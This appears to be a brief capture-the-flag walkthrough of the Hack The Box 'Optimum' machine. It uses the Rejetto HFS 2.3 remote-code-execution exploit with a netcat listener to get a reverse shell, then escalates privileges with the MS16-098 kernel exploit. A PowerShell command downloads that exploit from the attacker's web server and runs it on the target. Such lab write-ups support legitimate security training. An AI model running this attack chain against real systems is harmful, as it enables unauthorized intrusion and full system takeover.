EXPLOITSUGGESTER:PY

http file server 2.3 Exploit (REJETTO)

MS16-098

```
PORT   STATE SERVICE VERSION

80/tcp open  http    HttpFileServer httpd 2.3

|_http-server-header: HFS 2.3

|_http-title: HFS /

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
root@akg:/home/akg/Desktop/hackthebox/optimum# searchsploit Http File Server 2.3

root@akg:/home/akg/Desktop/hackthebox/optimum# cp /usr/share/exploitdb/exploits/windows/remote/39161.py .
```

ip_addr = "10.10.14.33" #local IP address

local_port = "4444" # Local Port number (EDIT POC)

```
root@kali:/home/kali/Desktop/hackthebox/optimum# locate nc.exe

/usr/share/windows-resources/binaries/nc.exe

root@kali:/home/kali/Desktop/hackthebox/optimum# cp /usr/share/windows-resources/binaries/nc.exe .

root@akg:/home/akg/Desktop/hackthebox/optimum# nc -nvlp 4444

root@akg:/home/akg/Desktop/hackthebox/optimum# python -m SimpleHTTPServer 80

root@akg:/home/akg/Desktop/hackthebox/optimum# python exploit.py 10.10.10.8 80
```

SHELL GAINED!!!!!!!!

```
Systeminfo > systeminfo.txt
```

EXPLOIT SUGGESTER

```
root@akg:/home/akg/Desktop/hackthebox/optimum# python windows-exploit-suggester.py –update

root@akg:/home/akg/Desktop/hackthebox/optimum# python windows-exploit-suggester.py --database 2020-04-04-mssb.xls --systeminfo systeminfo.txt
```

https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-098/bfill.exe

```
root@akg:/home/akg/Desktop/hackthebox/optimum# python -m SimpleHTTPServer 80

C:\Users\kostas\Documents>powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.11/akg.exe','C:\Users\kostas\Documents\akg.exe')"

C:\Users\kostas\Documents>akg.exe
```

ROOTED!!!!!